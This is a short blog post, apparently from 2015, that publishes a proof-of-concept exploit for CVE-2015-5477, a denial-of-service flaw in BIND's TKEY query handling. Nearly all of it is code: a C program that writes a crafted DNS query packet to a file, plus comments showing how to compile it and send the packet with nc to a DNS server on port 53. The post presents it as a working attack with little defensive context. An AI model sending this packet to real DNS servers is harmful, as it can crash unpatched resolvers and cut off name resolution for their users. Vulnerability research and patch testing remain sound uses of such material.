Tuesday, 4 August 2015

CVE-2015-5477 - DNS bind TKEY query handling DoS Proof of concept exploit

Here is a quick PoC exploit for the TKEY bind vulnerability.
// CVE-2015-5477 - bind TKEY query handling DoS Proof of concept
// (sipher@utensil)(~/tkeyd)$ rm dns.txt
// (sipher@utensil)(~/tkeyd)$ gcc tkeyd.c -o tkeyd
// (sipher@utensil)(~/tkeyd)$ ./tkeyd
// (sipher@utensil)(~/tkeyd)$ nc -u 127.0.0.1 53 < dns.txt
#include <stdio.h>
int main() {
FILE *fp;
fp=fopen("dns.txt", "w+");
fprintf(fp,"%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c",0x2d,0xbc,0x01,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x01,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0xf9,0x00,0x01,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x06,0x67,0x6f,0x6f,0x67,0x6c,0x65,0x03,0x63,0x6f,0x6d,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00);
fclose(fp);
}
view raw gistfile1.txt hosted with ❤ by GitHub